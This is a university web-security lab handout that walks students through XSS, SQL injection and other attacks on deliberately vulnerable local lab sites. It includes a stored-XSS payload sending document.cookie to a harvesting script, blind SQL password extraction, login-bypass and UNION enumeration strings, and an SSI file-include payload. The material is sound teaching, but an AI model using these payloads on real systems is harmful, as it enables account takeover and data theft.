ECE4112 Internetwork Security Lab 9: Web Security Group Number: ____________ Member Names: _______________________ _______________________ Date Assigned: October 31 , 2006 Due Date: November 7, 2006 Last Edited on: November 7, 2006 Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions on the Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the date due. Goal: This lab will introduce you to several security issues involving web server software and web applications. Summary: In this lab you will be learning about several techniques to attack web applications as well as how to defend against them. First you will learn about “Cross Site Scripting” and use your knowledge to experiment with a cross site scripting exploit. Then, you will learn about SQL injection and use your knowledge to break into a database driven website and then explain how to protect against such attacks. Then we will tie them all together into a practical exercise. Requirements: Red Hat WS 4 SPI Dynamics VMware machine Section 0: Setup I. Setting up Apache Apache should already be installed on your Red Hat WS 4.0 Machine. If it is not, please follow the directions given in Lab 2. Make sure you have a directory called apache2 somewhere on your machine. Possible locations for this folder are /home/apache2, /usr/local/apache2 or /var/local/apache2. In order to use php, we must modify our server’s configuration file. This file called httpd.conf is located under the apache2 directory (/conf/httpd.conf). The following lines must be added. The best way to add these lines is to search for them in the config file and place them below the commented examples. LoadModule php4_module modules/libphp4.so DirectoryIndex index.html index.html.var index.php (this replaces existing line) 1 AddType application /x-httpd-php .php For reference, an httpd.conf file is placed on nas4112/Lab9/Examples II. Setting up PHP Now that we have our apache server configured, we need to make sure we can interpret a php file located in .../apache2/htdocs. First, locate php.ini (use the locate command; you may have to updatedb before you can). More than likely php.ini is located in /etc/. Open php.ini and set the document root to the path of your htdocs directory. For example, if apache2 is located in /usr/local, then find the line in php.ini starting with doc_root and type the following: doc_root = “/usr/local/apache2/htdocs/” Remember, depending on the location of the apache2 directory, the above line may be different. Once you have completed this task, test out php by creating a sample file in apache2/htdocs called test.php; <?php phpinfo(); ?> Now, restart apache by typing #/apache2/bin/apachectl restart. If you receive an error about libphp4.so module not found, locate the libphp4.so file and copy to /apache2/modules (probably located in /usr/lib/httpd/modules/) Open up a web browser, and type http://localhost/test.php. If you see a page with a lot of information formatted in a nice table, you have succeeded. III. Setting up MySQL To configure MySQL, open a terminal as root and do the following: #service mysqld start #mysqladmin –u root password password In this lab, we will be using three databases. One will be used to store captured cookie information, one will be used for a message board, and the third one will be used to store login information. To create each of these databases, we will need to execute the following commands. First get a myslq> prompt by typing mysql –u root –h localhost –p and then password for your password. 2 Type the following commands : NOTE: All sql commands are provided in commands.sql under /Lab9 for your copying pleasure. mysql> create database ece4112; mysql> use ece4112; To create the cookies table: mysql> CREATE TABLE `cookies` ( `id` int(11) NOT NULL auto_increment, `username` varchar(100) NOT NULL default '', `password` varchar(100) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ; mysql> INSERT INTO `cookies` VALUES (6, 'testertest', 'hilohilo'); To create the message board table: mysql> CREATE TABLE `messages` ( `msg_id` int(11) NOT NULL auto_increment, `title` varchar(50) NOT NULL default '', `body` text NOT NULL, PRIMARY KEY (`msg_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=19 ; mysql> INSERT INTO `messages` VALUES (1, 'Test Message 1', 'This is a test.'); mysql> INSERT INTO `messages` VALUES (2, 'Test Message 2', 'This is another test.'); mysql> INSERT INTO `messages` VALUES (3, 'We love 4112', 'What a great message.'); mysql> INSERT INTO `messages` VALUES (4, '42', 'Meaning of life the universe and everything.'); mysql> INSERT INTO `messages` VALUES (5, 'Hello', 'Hey everyone!'); mysql> INSERT INTO `messages` VALUES (6, 'We need more messages', 'Here is yet another message!'); mysql> INSERT INTO `messages` VALUES (7, 'Yo dude', 'Jeff should type more of these.'); mysql> INSERT INTO `messages` VALUES (8, 'Lalala', 'Typing messages for people.'); mysql> INSERT INTO `messages` VALUES (9, 'Yet another message', 'Here is a hint. Post a message.'); To create the users table: mysql>CREATE TABLE `users` ( `user_id` int(11) NOT NULL auto_increment, `first_name` varchar(50) NOT NULL default '', `last_name` varchar(50) NOT NULL default '', `address` varchar(50) NOT NULL default '', 3 `city` varchar(50) NOT NULL default '', `state` char(2) NOT NULL default '', `zip` varchar(5) NOT NULL default '', `phone` varchar(10) NOT NULL default '', `email` varchar(50) NOT NULL default '', `password` varchar(8) NOT NULL default 'password', PRIMARY KEY (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ; mysql>INSERT INTO `users` VALUES (1, 'Jeff', 'Jo', '1008 State Street', 'Atlanta', 'GA', '30318', '4041234567', 'jeff.jo@ece.gatech.edu', 'password'); INSERT INTO `users` VALUES (2, 'Tim', 'Jackson', '342 Hempill Avenue', 'Atlanta', 'GA', '30318', '7704325543', 'tim.jackson@ece.gatech.edu', 'password'); INSERT INTO `users` VALUES (3, 'Unsuspecting', 'User', '10 Hackme Place', 'San Diego', 'CA', '45443', '3153332222', 'hackme@vulnerable.com', 'password'); INSERT INTO `users` VALUES (4, 'Henry', 'Owen', '10 Professors Place', 'New York', 'NY', '07321', '2124432345', 'henry.owen@professors.com', 'goodbye'); To create the login database. mysql> create database my_database; mysql> use my_database; mysql> CREATE TABLE users ( id int(10) NOT NULL auto_increment, username varchar(40), password varchar(50), regdate varchar(20), email varchar(100), website varchar(150), location varchar(150), show_email int(2) DEFAULT '0', last_login varchar(20), PRIMARY KEY(id)); After executing these commands, you should have two databases: ece4112 and my_database. ece4112 has three tables: cookies, messages, and users. my_database has one table: users. Refer to Appendix C for more information about mysql statements. Hopefully, everything has gone smoothly. Installing these three components are often quite tricky. We have just done the basic configurations; however, all three can be customized for various uses. Section 1: Cross-Site Scripting 4 Before you begin, let’s grab the source code for all the PHP files you will be looking at for this lab. Copy the file \\57.35.6.10\secure_class\Lab9\ece4112-source.tar.gz to a location on your local machine. Unzip the files using “tar –xvzf” to extract them to /apache2/htdocs. You will refer to these files later – they are also available in Appendix D. Also, make sure your cookies are deleted before beginning this lab. On your WS4 machine, open up the Firefox web browser. Go to Edit -> Preferences -> Privacy And click the “Clear” button next to “Cookies” Background Cross Site Scripting (CSS or XSS) refers to a vulnerability in web applications where an attacker can “inject” code (usually Javascript) into a page in a manner such that the web page subsequently executes the code. Since its discovery, the acronym for Cross Site Scripting, CSS, has been replaced with XSS because of the obvious confusion with Cascading Style Sheets. XSS vulnerabilities appear in dynamic web applications that do not properly validate and escape user input. The classic example is a search engine application that prints back the original query to the user when listing the query’s results. 5 Figure: A sample search results page In the above screenshot, the query, “cross site scripting” is displayed back to the user. XSS has been categorized into three types: Type 0: DOM-based or local Type 1: Non-persistent or reflected, and Type 2: Persistent or stored Type 0 DOM-based attacks rely on Javascript’s ability to be run with the full privileges of the “local zone” if the code is executed from a page that resides on the client machine. For example, if an attacker hosts a malicious site that links to a page on the client’s machine that contains an XSS vulnerability, code can be executed with the privileges of the user’s browser. Although DOM-based attacks can be very powerful, reflected and persistent XSS attacks are more popular in practice and will be the focus of study in this lab. Section 1.1 – Type 1: Reflected XSS Attacks Before you start, edit the web server address in the file /apache2/htdocs/ece4112/common/web_server_ip.php to the ip of your host machine. As cited earlier, the search engine that does not properly escape user input is an example of a potential Type 1 XSS vulnerability. On the WS 4 machine, open up the web browser and navigate to http://<ip_address>/ece4112/searchengine/search.php. You’ll notice that this page mimics the popular Google search engine. 6 Type in a query in the text input box and click the “Google Search” button. You’ll be taken to a page that lists mock results, but notice near the top of the page that the query you entered on the previous page is shown again on the page. Press back and type the following query into the search box: <input type= “text” value=“I Love ECE4112”> Click the “Google Search” button. Notice that the search results now has a text box with the default text set to “I Love ECE4112”. Now that we know we can type in any HTML into the search box and have it executed by the search results page, let’s see what we can do with Javascript. Hit the back button and type in the following query: <script language=Javascript>alert(‘I Love ECE4112’);</script> Click the “Google Search” button. Q1.1.1 What happened when you are taken to the search results page? Screenshot 1: Take a screen shot of the search results page showing the effects of the injected script that you typed into the query box Although this example is not very malicious or useful to an attacker, it’s a prime example of how XSS vulnerabilities arise in web applications. Click OK on the dialog box if you have not already done so. URL variables are a way to pass data between subsequent page requests. This data is passed via the URL line and takes the format: http://<page address>?<variable name>=<variable value>&<variable name>=<variable value>… To summarize, the URL variables appear after the web page’s address followed by a “?”. Then the variable name and variable value pairs are separated by a “&”. Q1.1.2 Looking at the URL line at the top of the browser, what is value of the URL variable “searchQuery”? Right click in the browser window and select “View Page Source”. A copy of the source has been included in Appendix D. Lines 9 and 10 are what interest us: 9: 10: <strong>Your Search Query Was:</strong><br> <? print $_GET[“searchQuery”];?><br/><br/> For those who are not familiar with the PHP scripting language, all PHP code must be enclosed within <? ?> tags. The “print” command simply writes its argument to the 7 output stream. The $_GET[] array is an array of URL variables that were passed in the URL. A partial PHP reference has been included at the end of this lab. Q1.1.3 What are these two lines of code doing in the context of the application? One way to ensure that these web pages are not vulnerable to this type of attack, web developers should ensure that any user input that is redisplayed in the browser is properly formatted or quoted to display the actually value of the user input as opposed to executing any code that may be present. Further discussion about how to combat XSS vulnerabilities is included at the end of this section. Q1.1.4 Take a look at Appendix B. Which PHP function may be useful for properly handling user input? Q1.1.5 Rewrite line 10 of the code above to reflect this change. Now that you have seen a simple example of a reflected XSS attack, let’s move on to something a bit more malicious. Section 1.2 – Cookie Stealing and XSS The HTTP protocol was designed to be a “stateless” protocol meaning subsequent requests that are sent to a web server know nothing about each other. As web applications became more complex a need to maintain certain state information across client requests became necessary. One solution to this has been the adoption of web browser cookies. Cookies are small text files (less than 4KB in size) that web applications create on a client machine to maintain state. The format of a cookie is outlined in RFC2965. (http://www.ietf.org/rfc/rfc2965.txt) The attributes that we are interested in for the purposes of this lab are: NAME Specifies the name of the cookie and the VALUE Specifies the data value associated with this cookie MAX-AGE Specifies when the cookie should expire. An expired cookie should be deleted DOMAIN Specifies the domain for which this cookie is valid. PATH Specifies the path on the web server where this cookie applies. 8 The DOMAIN and PATH attributes listed above are of particular importance. They prevent a web server whose domain and path values do not match what is contained in the cookie from accessing the contents of the cookie. For example, if www.google.com writes a cookie on your machine, then www.hotmail.com cannot read this cookie since Hotmail’s domain does not match Google’s. Similarly, if a page in the path www.google.com/search/ writes a cookie and specifies the PATH attribute to be “www.google.com/search”, then another page with a different path (ex. www.google.com/differentpath/) cannot access the cookie. We will revisit this a bit later. Some common examples where cookies may be used are: In an online shopping application to keep track of what products a user has looked at in order to deliver recommendations based on past activity To keep track of what is in a user’s online “shopping cart” To store a session id which tells the web server if the current user is logged in and as a means for authentication To send annoying pop-ups based on a user’s past browsing habits. Another very common use of a cookie can be seen in web applications that “remember” a user’s username and password so that they don’t have to type it in every time they visit the site. Hotmail (www.hotmail.com) is one site that uses cookies for this exact purpose. Q1.2.1 Why are the DOMAIN and PATH attributes important in term of security? (Hint: What kind of data may the cookie potentially contain?) We will observe how XSS attacks can be used to steal sensitive information that may be contained within a cookie. On your WS 4 machine, use the web browser to navigate to http:// <ip_address>/ece4112/cookie/login.php. You’ll notice that this is a simple login screen that is very commonly seen in many web applications that require authentication. The page you are viewing takes as input a username and password and saves a cookie on your local machine that contains the values that you entered. In a real world application, your password would probably not be stored as plaintext in a cookie, but rather the hash value of the password. Even though this practice is reasonably secure, hackers who have access to these hashes may be able to crack them using offline password cracking programs. Let’s suspend our disbelief for a while and continue with the plaintext version of the password stored in the cookie. To demonstrate that this login page works (somewhat), navigate to http://<ip_address>/ece4112/cookie/welcome.php. Q1.2.2 What happens when you try to go directly to the welcome page? Browse back to http://<ip_address>/ece4112/cookie/login.php. Right click in the browser window and select “View Page Source”. Take a look at the makeCookie() Javascript function that is located near the top of the page. This function performs some basic validation and makes the cookie once the login information is entered. 9 Take a look at the code after the else statement. Q1.2.3 What are the two lines that start with “document.cookie = “ doing? List the following attributes of the two cookies, NAME, MAX-AGE, PATH. Refer to the Javascript reference located in Appendix A. Enter your group number (eg. Group 36) for the name field Make up a super secret password that you think would never be guessed by anyone in a million years. Click the “Login” button. This will bring you to a welcome screen that greets you with a welcome message that contains the name you entered on the previous page. Q1.2.4 Look at the source of this page (/ece4112/cookie/welcome.php) in Appendix D and describe a potential XSS vulnerability that exists on this page. (Hint: It’s near the welcome message) Now to ensure that the cookie has been saved properly let’s run some tests. Test 1: Make sure that going to the site does not require you to log in again. Navigate to http://<ip_address>/ece4112/cookie/welcome.php. Q1.2.5 What happens this time when you go directly to the page? Test 2: Let’s ensure that the PATH attribute of the cookie was set properly. As you answered in a previous question, the PATH attribute of the cookie has been set to the path that the web page is located in. That means another page that is located in a different path on the web server cannot access the contents of the cookie. We demonstrate this with a simple web page that prints out the value of the cookie. Use your web browser to navigate to http://<ip_address>/ece4112/cookie/testcookie.php. Take note of the path that this page is located in. Q1.2.6 What do you see when you navigate to this page? Now, user your web browser to navigate to http://<ip_address>/ece4112/badcookie/testcookie.php. Notice that the path of this page is different. Q1.2.7 What is different when you navigate to this page? Why is this so? 10 Now that we have demonstrated that the cookie has been written and the path attribute set correctly, let’s demonstrate the attack. The scenario for this attack is an attacker knows that you have a user name and password to this site and wishes to exploit the fact there exists an XSS vulnerability on the site. He sends you a malicious e-mail which will carry out his attack. We simulate this email in the form of a web page. Since most email clients today support HTML code in the body of email messages, this is a plausible scenario. Use your browser to navigate to http://<ip_address>/ece4112/badcookie/bademail.php. You will see that this email simply tells you to log into the site to update your financial information. Set aside your best moral judgment for the time being and click the “Login to Website” link. Q1.2.8 What happens when you click the link? Does it seem as though anything malicious has occurred? Let’s take a look at what’s going on behind the scenes. Navigate back to http://<ip_address>/ece4112/badcookie/bademail.php. Right click in the browser window and select “View Page Source”. A copy of the source code is also available in Appendix D. The important lines that should be noted are the lines that contain the <a> tag that links to the website. Q1.2.9 What do you think the <a> tag in the malicious tag is doing. Use your browser to navigate to http://<ip_address>/ece4112/badcookie/mycookies.php. This page simply prints out all cookies that have been collected by the malicious attacker. Q1.2.10 Do you see your group name and super secret password? Q1.2.11 Review the source code for harvestcookies.php in Appendix D. What is this program doing? Q1.2.12 When the link in the email was clicked, why did it seem as though no malicious activity took place? An attacker could have disguised their mischief even further by escaping the malicious <a> tag with its hexadecimal equivalent. For example: “<a href” could have been written in the code as its hexadecimal equivalent: %3C%61%20%68%72%65%66. Section 1.3 – Type 2 – Persistent XSS attacks A third way attackers can exploit XSS vulnerabilities is by using a persistent, or stored form of XSS attack. In this form, the attacker relies on an application that stores data in a 11 database and displays this data to unsuspecting victims at a later time. A classic example of this type of attack can be found on web-based message board or newsgroup applications. A vulnerability in one of these types of applications arises when the code does not properly escape message that have been posted by users. Similar to the cookie attack that we saw in the previous section, an attacker could post a message which steals the user’s cookie. When unsuspecting users go to view that message, they would inadvertently open up the page which prints out the un-escaped message and subsequently, their cookie would be stolen. Hackers could use this type of attack to potentially target large numbers of users. Using your web browser, navigate to http://<ip_address>/messageboard/login.php. Enter your group number (eg. Group 36) for the name field Make up a different password than the one you used in the previous exercise. Click the “Login” button. You will be taken to a page that greets you with a welcome message and a list of forum message that have been posted to the server. Clicking any of these titles will bring you to a page that allows you to view the contents of the message. Q1.3.1 Look at the source code for messages.php and view_message.php, which can be found in APPENDIX D. Point out the parts of the code where an XSS vulnerability exists. Click the “Post Message” button. This will bring to a page where you can post a new message to the forum. In the “Message Title” field, type in a title that may tempt a user to click on the message (use your imagination). In the “Message Body” field, enter the following text: <script>document.location="http://localhost/ece4112/badcookie/harvestcookies.php?suck er2=" + document.cookie;</script> Q1.3.2 What does the above code do? Click the “Post Message” button to post your message. You will be taken to a page which confirms that you have just posted a message. Click the “Back to List Messages” link to go back to the list of messages. Click the message title of the message you just posted. Q1.3.3 What happens when you click the message title? Does it look like anything malicious has occurred? Explain what has just happened. To further reinforce how this vulnerability can be exploited your next task is to post a simple message which takes advantage of the vulnerability. 12 Q1.3.4 Post a message that, when clicked, will pop up an alert window with a message. What is the text you entered in the message body field to achieve this? Screenshot 2: Click on the message that you have just created and take a screenshot of the exploit in action (the browser window with the alert window). How to combat XSS There are several ways to combat the XSS vulnerabilities presented in this lab. One definitive way to combat Javascript attacks is for users to disable Javascript on their web browsers. This, however, is not a feasible solution as many websites today require that Javascript be enabled. Because of the inherent vulnerabilities present in Javascript, many web application developers today are moving towards writing code that does not require the use of Javascript. The other, more viable alternative is for web developers to be informed of these types of attacks and write code that is not vulnerable. Developers should validate all user input. For example, if an input field should not contain a class of special characters (such as an email address, the input should be rejected by the application. Almost all of the reputable programming languages that are available to web developers include special functions that “sanitize” any dynamic text that is displayed to users. What this does is escape any special characters into their HTML equivalents, so that they cannot be injected into the page. This method, however, is limiting to web applications that allow users to post HTML formatted messages. A more difficult alternative is for developers to write code that allows user-supplied HTML in the output of the web page, but checks the data and prevents any blacklisted code from being displayed. Section 2: SQL Injection on Linux Apache Web Server Background SQL injection is an attack vector against sites which utilize SQL databases to store and retrieve data. The goal is to modify variables being sent by the webpage to the database and so cause the return value to be something other than what the page creater intended. The primary vector of SQL injection is to take advantage of the fact that SQL statements can be chained together using the ; and ' characters. It is therefore possible to modify the SQL statement SELECT * FROM atable WHERE column=1 to SELECT * FROM atable WHERE column='(SELECT COUNT(*) FROM atable)' and that will cause the statement to return the last row. This is useful as it will indicate how many rows there are in the table. Other subqueries may yield equally useful information. The best defense against SQL injection is input validation. All input from the client should be validated to ensure its proper type. If a number is expected, strings should not 13 be accepted. Strings should not be allowed to contain ''','@', or ';' characters. These special characters can be escaped and restored upon retrieval. Section 2.1 – Introductory Exercises There are several ways to launch a SQL Injection attack. The simplest is by modifying arguments in the URL; for instance, changing the http://www.hackme.com/index.php?msg_id=23 to msg_id=24. This is a trivial change, but it is useful to see what happens. Use a web browser to go to http://<ip_address>/ece4112/messageboard/messages. You will need to create a login before you are allowed to view messages. (See earlier part of lab for how to do this.) View the messages and click on a single message. You will note the value of the msg_id in the URL. Modify it and watch what happens. If you select a message that exists, you will get that message, if not you will get an error message. On many systems, particularly those powered by Microsoft's ASP pages, the error messages that come back can be very useful. This is a useful thing to note. Set the msg_id to 1ee7 and load the page. Q2.1.1 What message do you get back when you set the msg_id value to 1ee7? Looking at view_messages.php in appendix D, you will see that the site uses a query: SELECT * FROM messages WHERE msg_id=<number> That number comes from the msg_id= field in the URL. By changing it, we are able to insert whatever we want, including other queries. This is the most common vulnerability. One way this can be useful is to get information about a database. In this case, we want to know how many users are in the database. Change the URL to be http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT COUNT(*) FROM users) This will cause msg_id to be the return of the subquery (SELECT COUNT(*) FROM users). COUNT() returns the number of items in a list and * is a wild character meaning all. So, we are going to count the number of rows in the users table. The SELECT is necessary to make a proper query and return the output of COUNT(). So, if there were 100 users in the database, we should get back message 100. Note the "Message ID:" entry on the page. This will tell you which message was actually returned by the query, since the msg_id variable will still look like your subquery. Q2.1.2 Which message do you get back when running http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT COUNT(*) FROM users)? 14 Section 2.2 – Blind SQL Injection Sometimes, such as on the system you are attacking the error messages are not particularly useful. However, that does not mean you cannot use them. Change the URL so that the msg_id value is 0. Q2.2.1. What happens? Use msg_id=1. Q2.2.2. What happens? We now have a method of retrieving information via a boolean output; error or no error. The database contains a table called users which has a column called password. Your mission is to retrieve a password from the users table. The first step is to decide what the query would be if it could be run directly. In this case, it would be: SELECT password FROM users WHERE user_id = SomeNumber It is not possible for you to directly make this query. You will have to trick the database into giving you back the information. Since we already know the user_id of the last user in the database, we are going to steal that person's password. The first step is to figure out how long the password is. To do this, you want the LENGTH() operator. Your query now becomes SELECT LENGTH(password) FROM users WHERE user_id = UserIDYouStole. This should now take you to the message that corresponds to the number of characters in the password. Make this your subquery at the end of the URL. Q2.2.3. How long is the password we are going to steal? We now need to actually retrieve the password. To do this, we need the LEFT() operator. LEFT() takes in two parameters: column name and number of characters. We can therefore run the query SELECT LEFT(password, 1) FROM users WHERE user_id= UserIDYouStole to get the first character in the password field. Unfortunately, we can't return that directly. We can, however, return the comparison of that character to another by the < or > operators. Since TRUE=1 and FALSE=0, we can use this as part of a WHERE clause to return output even if we can't get actual error messages. This allows us to build the subquery ((SELECT LEFT(password,1) FROM users WHERE user_id=UserIDYouStole) < 'n'). So, our URL now looks like http://<ip_address>/messageboard/view_messages.php?msg_id=((SELECT LEFT(password,1) FROM users WHERE user_id=UserIDYouStole) < 'n'). Look at view_message.php in appendix D. Q2.2.4. What is the $SQL variable going to be when it is submitted to the database? 15 We know that the Message ID field will tell us whether the output from our subquery was a 1 or a 0. Using this, you can do a search by changing the 'n' to whatever string you want to guess. Once you have found the first character, change the argument to LEFT(password,2) and start using two character strings, say 'no' if n was the first character. Remember to change <b>only</b> the last character. Q2.2.5. What is the user_id/password combination you stole? Q2.2.6. How might a web developer prevent this type of data theft? Section 2.3 – Faulty Login Page Now that we have seen sql injection directly into the url, it is time to see how a faulty login can provide us the same results. In this exercise, we will be looking at two login pages: one that is not secure and one that has been hardened. You will be comparing the difference between the two in the next section. But for now, we will just see how a fault login can be extremely dangerous. From NAS, get the file php_login.tar.gz. Place the un-tarred folder in /apache2/htdocs. In a web browser, go to http://<your ip address>/php_login/login_corrupt.php. Try a random username and password and observe what happens. A statement like the one below should be displayed: SELECT username FROM users WHERE username = ‘group1’ and password = ‘group1’ This print out is not usually part of the error message; rather it was printed so you could see the kind of sql statement generated to check the username and password. Go back to the login page and now type in the username field: <your group name>’ – and junk for your password. Q2.3.1 What happened? Explain why this sql injection worked. (Hint: what is -- in a sql statement?) Q2.3.2 List at least three other similar sql injection code snippets that could be used to exploit this login? Screenshot 3: Take a screen shot of a successful login. 16 Section 2.4 – Securing the Login Page Now that we have seen what a corrupt login looks like, we can investigate how to secure the login page. In a web browser, go to http://<your ip address>/php_login/login.php. Play around with the login page. To register a username, go to http://<your ip address>/php_login/register.php Try sql injection statements in login.php. What happens? Now open up login.php. Q2.4.1 How are the passwords stored in the database? For verification, go to the database in mysql and view the contents of table users by typing select * from users. Q2.4.2 How is the username and password verification different in login.php versus login_corrupt.php? Q2.4.3 What does the get_magic_quotes_gpc() function do? Q2.4.4 Explain the general strategy in preventing sql injection statements. Section 3: Practical Web Exercise on Windows Server Copy the image called Exploit-IBuySPI-VMWare.zip from the NAS server to your root directory. Unzip the file using the unzip command. Follow normal procedures to create the virtual machine. When creating the virtual machine, you may be prompted about upgrading. If so, click on the upgrade button. Starting the Image The username is “administrator” and the password is “pass.” This machine will run IIS, iPlanet, MSDE (sql server), and DNS. Although a Windows update icon displays the message “Click here to update,” do not run Windows update or portions of this website may stop working. To access the website, enter http://172.16.10.17/ into the browser’s address bar. You will be forwarded to the portal located at http://172.16.10.17/StoreCSVS/. The first time you access this portal (after booting up your computer) will be very slow. This is normal and can’t be avoided. Subsequent accesses will occur at normal speed. 17 Creating an Account It is important that you register and create an account on this portal. 1. Click Sign In on the upper right navigation bar. 2. When the Sign In page appears, click Register. You will then be asked to create an account. 3. Enter your name, e-mail address, and password, and then click Submit. The web site will display the Shopping Cart page. Investigating Vulnerabilities After creating an account, you will need to log into it. To do this, click Sign In on the navigation bar at the top of the page. You can then continue to the vulnerability sections below. Section 3.1 Cross-Site Scripting Once you are logged in: 1. Click WWWBoard on the navigation bar. 2. When the “Post a Message” form appears, enter your name and type a subject in the subject line. 3. In the Message box, type: <script>alert(document.cookie);</script> 4. Click Post message. Although the application executes your JavaScript, displaying an alert box that contains your cookie information, this is not the actual attack. The attack occurs in step 6. 5. Click OK to close the alert box. 6. Next, click Go to Your Message. When you visit this page, a box will pop up and display your cookie information. If an attacker can execute this JavaScript, then an attacker can also steal your cookie. If an attacker can steal your cookie, then an attacker can log in under your account and gain control over it. For additional information on how an attacker can steal your cookie, go to http://www.cgisecurity.com/articles/xss-faq.shtml. 7. Click OK to close the alert box. Section 3.2 Directory Indexing 18 Sometimes when you browse a web site, you see a list of files instead of a rendered HTML page. This occurs when the website developer neglects to include an index page in the current directory, potentially exposing important files. Go to the main page by clicking this icon in the left column. Notice the SPIDynamics logo at the very top of the main page (Default.aspx). If you hover your mouse over the logo, you will see that it links to “/admin/show.asp.” If you delete the “show.asp” portion, you will get a directory listing. If you click on database.mdb or WS_FTP.LOG, you will get all kinds of useful information that the site owner probably doesn’t want you to have. An easy fix to prevent directory listings is to put in a default.asp, index.shtml, or index.html file (others may exist, depending on server’s configuration). Section 3.3 – Predictable File Location As the title implies, these are files that we think are probably going to exist. One of the most common files a website or piece of software will have is readme.txt. Paste the following URL into your browser’s address box and click Go: http://172.16.10.17/readme.txt You will notice that this file not only exists, but also contains a note by the administrator. We will talk about the content of this note a little more below. Section 3.4 – OS Commanding In our “Predictable File Location” vulnerability, we referenced a file named readme.txt by guessing it. It contains a note from the system administrator that appears to be directed to other website developers. It looks like the Default.aspx application has a hidden administrative function called AdminMode that allows you to execute commands remotely. If you try one of the examples in this note, you will find you can execute Windows commands! Section 3.5 – Filename Manipulation Filename Manipulation involves modifying the filename in an attempt to find backup copies of a particular file. For example, a file named index.shtml may have a backup copy named index.shtml.old or index.shtml.bak in the same directory. Let’s start by guessing a few filenames. We know the file http://172.16.10.17/StoreCSVS/web.config contains important information about the portal, and may contain login information for the database. By default, ASP.NET denies access to this file for security reasons (which is a good thing). What if someone created a backup copy? Let’s start by entering in common backup filenames. If you search for web.config.txt or web.config.old, you get nothing. If you enter web.config.bak, you will get a copy of the web.config file. This copy is more then likely just a backup, and may not always contain the same information. Either way, this information can be extremely valuable to an attacker. 19 Section 3.6 – SQL Injection On the lower left corner of the website’s home page, click Recover your account password. You will see the Full Name and Email fields. If you type a single quote (apostrophe) in the Full Name field and enter a random e-mail address, and then click Submit, the program will return “Unclosed quotation mark before the character string ‘‘‘.” This by itself will not give you any data. If you would like to extract information from the database, type the following in the Full Name field and then click Submit. ' UNION SELECT name FROM sysobjects WHERE name != ' d This command asks the SQL server for a list of table names that store data. Now you should see the word “Categories” appear on your screen. This is the name of a table in our database. Next, try sending: ' UNION SELECT name FROM sysobjects WHERE name > 'Categories You will now see the word “CustomerAdd” returned. At this point, you are enumerating through the database. Next, send: ' UNION SELECT name FROM sysobjects WHERE name > 'CustomerAdd and you will go to the next entry. Section 3.7 – Information Leakage Information leakage is when an attacker can obtain “leaked information.” This can include everything from a machine name to a directory path. Click Munitions in the left column to access the Munitions page, then click Multi-Purpose Rubber Band. The URL displayed in the address bar is: http://172.16.10.17/storecsvs/(<yoursessionidgoeshere>)/ProductDetails.aspx? productID=363. If you append a nonnumeric character after “363” and click Go, the webserver will return an error message revealing the server path, a nonpublic filename (\\172.16.10.17\ibuy\StoreCSVS\ProductDetails.aspx.cs), and a few developer comments. This information gives the attacker an idea of the .NET libraries you are using, which can help aid additional attacks. Note: The following sections may give you some problems. If you have too much trouble running the rest of section 3.*, skip to Section 4. Section 3.8 – Insufficient Process Validation and Authorization Return to the main page and click on the Manage Banners link. If you click on this link, it will warn you that you need to be an administrative user to perform this function. This application checks to see who you are logged in as. If your login name matches an entry in the administrative list, the program forwards you to the admin.aspx page. The problem here is that if you enter “admin.aspx” directly, then you will be able to access 20 administrative functions. It makes the erroneous assumption you have followed a certain process to gain access to a page. Section 3.9 – Credential/Session Prediction For this example, we will use the SPI Proxy tool that is bundled with WebInspect: 1. On the Windows taskbar, click the Start button, and then click Programs. 2. Click SPIDynamics, select Tool Kit and click SPIProxy. 3. Click Proxy menu and select Start. 4. Click HTTP Editor twice to launch two instances of the HTTP Editor tool. By default our HTTP Editor tool blocks images, making things easy for people who don’t need them (99.99% of users). Since we actually want them, we need to enable run SPIProxy (in case you are wondering why we started it). 5. Access the first instance of HTTP Editor. 6. Enter http://172.16.10.17/storecsvs/ into the drop-down combo box at the top. 7. Click Send. 8. Click the Browse tab on the bottom pane, and click on the hyperlink “here.” 9. Click Send. 10. You will see the website on the Browse tab. In this tab, click the hyperlink General in the column on the left. The contents of the Request tab will change. 11. Click Send. 12. Click the Contact Lenses hyperlink in the Browse tab, then click Send. 13. Scroll down and click Add to Cart, then click Send. 14. As earlier, click the here hyperlink, then click Send. You will now have items in your shopping cart. You will also notice the cookie IBuySpy_CartID=<value> in the Request tab. 15. Now access the second instance of HTTP Editor. 16. Enter http://172.16.10.17/storecsvs/ into the drop-down combo box at the top. 17. Click Send. 18. Click the Browse tab on the bottom pane, and click on the hyperlink “here.” 21 19. Click Send. 20. On the Browse tab, click the hyperlink Travel in the column on the left. 21. Click Send. 22. Click the Escape Cord hyperlink, then click Send. 23. Click Add to Cart, then click Send. 24. Click the here hyperlink, then click Send. The Request tab displays another cookie. This cookie has a higher value than the previous cookie. If you look carefully, you can see this cookie is actually the concatenation of the hour, minute, and second. Let’s assume for a moment that we know what time a user logged in, or that this website gets a lot of traffic. This would mean we can view the items in their cart. 25. Copy the cookie value from the first instance of the HTTP Editor and paste it into the second instance of the HTTP Editor, replacing the cookie value. 26. Click Send. Now you can view items in the other users session! In this example, we simply copied the cookie value from the first window. However, because the cookie value actually represents a specific time, on a busy site that logs in one user every two minutes, we could simply log in once and then add to or subtract from our cookie value in order to view the contents of other users’ carts. Section 3.10 – Server-Side Include (SSI) Injection Visit the WWWBoard page again. Then: 1. Enter your name and subject. 2. In the Message box, type: <!--#include file="/storecsvs/web.config"--> 3. Click Post Message. 4. Click Go to Your Message. The server will execute the command to display this file. As mentioned above, web.config is protected from people viewing it remotely, but if it is included locally on the server, then you can read it. The web.config contents will be displayed in the message 22 body when you view the message after it has been posted. Below are some other SSI tags you can insert that will return data. <!--#echo var=“DOCUMENT_URI”--> <!--#echo var=“DATE_LOCAL”--> <!--#exec cgi=“/web/index.asp” --> Section 3.11 – Weak Password Recovery Validation Most sites usually ask for your e-mail address, and then send your password to you in an e-mail. Click Recover Your Account Password to visit the password recovery page. The problem with this application is that if you can provide valid Full Name and Email fields, you can recover a user’s password. There are all sorts of ways this information can be obtained. One method involves the 